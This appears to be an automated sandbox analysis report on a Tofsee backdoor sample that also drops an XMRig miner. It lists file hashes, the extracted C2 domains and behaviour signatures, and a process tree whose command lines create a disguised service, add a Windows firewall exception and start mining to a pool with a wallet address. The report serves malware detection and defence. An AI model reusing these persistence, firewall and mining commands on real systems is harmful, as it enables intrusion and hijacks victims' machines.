Analysis

  • max time kernel
    144s
  • max time network
    153s
  • platform
    windows7_x64
  • resource
    win7-20230831-en
  • resource tags

    arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
  • submitted
    01/10/2023, 12:52

General

  • Target

    file.exe

  • Size

    196KB

  • MD5

    27ad29d39afbf68d4b7e7a1f1e4239ca

  • SHA1

    cff815518134141c655f50e834464f875a92717b

  • SHA256

    001432c76312f051520101ffc64f4efc57d8a2ef008c21805531aec6faad2f28

  • SHA512

    8275724fd19c0d11a06da6323b1e4b75ca3a93d351874072f250ff0a5baa5c89db9d85029098b36959790f69c46da4a149b1438e182ca26b35621061086ab81c

  • SSDEEP

    3072:Aq+XiRT0U9Vr40wP80E3ktFx9jR3yFxdXEqCCCCG6D+5vOfje:Aiz9Vc0UnjtFvR3Jq5bDUOfS

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 8 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2924
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\kbomdccf\
      2⤵
        PID:2100
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\cowtzmsq.exe" C:\Windows\SysWOW64\kbomdccf\
        2⤵
          PID:2800
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create kbomdccf binPath= "C:\Windows\SysWOW64\kbomdccf\cowtzmsq.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2676
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description kbomdccf "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2592
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start kbomdccf
          2⤵
          • Launches sc.exe
          PID:2736
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2240
      • C:\Windows\SysWOW64\kbomdccf\cowtzmsq.exe
        C:\Windows\SysWOW64\kbomdccf\cowtzmsq.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2636
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2804
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.200000 -p x -k -a cn/half --cpu-priority 1
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:572

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\cowtzmsq.exe

        Filesize

        11.8MB

        MD5

        02be6af8077926107fd11cb7701f29f6

        SHA1

        e4e5f8fd8d4378a83c53b038734e2aeb178515c2

        SHA256

        1da8c6082754c4fe72cedb8cc191137cbdbe0e5df0cae938d40ee40bf0ccca63

        SHA512

        a57868b13d45580b360360754c7ca1e0817f69bae76388ad116ef0626ec591ea81c7a6b952c6e68801623f92866bb960506fe586b7e23ac88c36ef5d736e95ba

      • C:\Windows\SysWOW64\kbomdccf\cowtzmsq.exe

        Filesize

        11.8MB

        MD5

        02be6af8077926107fd11cb7701f29f6

        SHA1

        e4e5f8fd8d4378a83c53b038734e2aeb178515c2

        SHA256

        1da8c6082754c4fe72cedb8cc191137cbdbe0e5df0cae938d40ee40bf0ccca63

        SHA512

        a57868b13d45580b360360754c7ca1e0817f69bae76388ad116ef0626ec591ea81c7a6b952c6e68801623f92866bb960506fe586b7e23ac88c36ef5d736e95ba

      • memory/572-72-0x0000000000120000-0x0000000000211000-memory.dmp

        Filesize

        964KB

      • memory/572-74-0x0000000000120000-0x0000000000211000-memory.dmp

        Filesize

        964KB

      • memory/572-75-0x0000000000120000-0x0000000000211000-memory.dmp

        Filesize

        964KB

      • memory/572-73-0x0000000000120000-0x0000000000211000-memory.dmp

        Filesize

        964KB

      • memory/572-60-0x0000000000120000-0x0000000000211000-memory.dmp

        Filesize

        964KB

      • memory/572-71-0x0000000000120000-0x0000000000211000-memory.dmp

        Filesize

        964KB

      • memory/572-70-0x0000000000120000-0x0000000000211000-memory.dmp

        Filesize

        964KB

      • memory/572-69-0x0000000000120000-0x0000000000211000-memory.dmp

        Filesize

        964KB

      • memory/572-61-0x0000000000120000-0x0000000000211000-memory.dmp

        Filesize

        964KB

      • memory/2636-9-0x0000000000400000-0x000000000043F000-memory.dmp

        Filesize

        252KB

      • memory/2636-14-0x0000000000400000-0x000000000043F000-memory.dmp

        Filesize

        252KB

      • memory/2804-35-0x0000000000200000-0x0000000000210000-memory.dmp

        Filesize

        64KB

      • memory/2804-42-0x0000000000200000-0x0000000000210000-memory.dmp

        Filesize

        64KB

      • memory/2804-20-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/2804-21-0x0000000001810000-0x0000000001A1F000-memory.dmp

        Filesize

        2.1MB

      • memory/2804-25-0x00000000000A0000-0x00000000000A6000-memory.dmp

        Filesize

        24KB

      • memory/2804-24-0x0000000001810000-0x0000000001A1F000-memory.dmp

        Filesize

        2.1MB

      • memory/2804-28-0x0000000000200000-0x0000000000210000-memory.dmp

        Filesize

        64KB

      • memory/2804-31-0x0000000000200000-0x0000000000210000-memory.dmp

        Filesize

        64KB

      • memory/2804-32-0x0000000000200000-0x0000000000210000-memory.dmp

        Filesize

        64KB

      • memory/2804-33-0x0000000000200000-0x0000000000210000-memory.dmp

        Filesize

        64KB

      • memory/2804-34-0x0000000000200000-0x0000000000210000-memory.dmp

        Filesize

        64KB

      • memory/2804-11-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

        Filesize

        4KB

      • memory/2804-37-0x0000000000200000-0x0000000000210000-memory.dmp

        Filesize

        64KB

      • memory/2804-36-0x0000000000200000-0x0000000000210000-memory.dmp

        Filesize

        64KB

      • memory/2804-38-0x0000000000200000-0x0000000000210000-memory.dmp

        Filesize

        64KB

      • memory/2804-39-0x0000000000200000-0x0000000000210000-memory.dmp

        Filesize

        64KB

      • memory/2804-40-0x0000000000200000-0x0000000000210000-memory.dmp

        Filesize

        64KB

      • memory/2804-41-0x0000000000200000-0x0000000000210000-memory.dmp

        Filesize

        64KB

      • memory/2804-43-0x0000000000200000-0x0000000000210000-memory.dmp

        Filesize

        64KB

      • memory/2804-18-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/2804-48-0x0000000000210000-0x0000000000215000-memory.dmp

        Filesize

        20KB

      • memory/2804-51-0x0000000000210000-0x0000000000215000-memory.dmp

        Filesize

        20KB

      • memory/2804-47-0x0000000000200000-0x0000000000210000-memory.dmp

        Filesize

        64KB

      • memory/2804-46-0x0000000000200000-0x0000000000210000-memory.dmp

        Filesize

        64KB

      • memory/2804-45-0x0000000000200000-0x0000000000210000-memory.dmp

        Filesize

        64KB

      • memory/2804-44-0x0000000000200000-0x0000000000210000-memory.dmp

        Filesize

        64KB

      • memory/2804-52-0x00000000058B0000-0x0000000005CBB000-memory.dmp

        Filesize

        4.0MB

      • memory/2804-55-0x00000000058B0000-0x0000000005CBB000-memory.dmp

        Filesize

        4.0MB

      • memory/2804-56-0x0000000000220000-0x0000000000227000-memory.dmp

        Filesize

        28KB

      • memory/2804-17-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/2804-13-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/2804-10-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/2924-0-0x0000000000220000-0x0000000000235000-memory.dmp

        Filesize

        84KB

      • memory/2924-8-0x0000000000220000-0x0000000000235000-memory.dmp

        Filesize

        84KB

      • memory/2924-7-0x0000000000240000-0x0000000000253000-memory.dmp

        Filesize

        76KB

      • memory/2924-6-0x0000000000400000-0x000000000043F000-memory.dmp

        Filesize

        252KB

      • memory/2924-2-0x0000000000400000-0x000000000043F000-memory.dmp

        Filesize

        252KB

      • memory/2924-1-0x0000000000240000-0x0000000000253000-memory.dmp

        Filesize

        76KB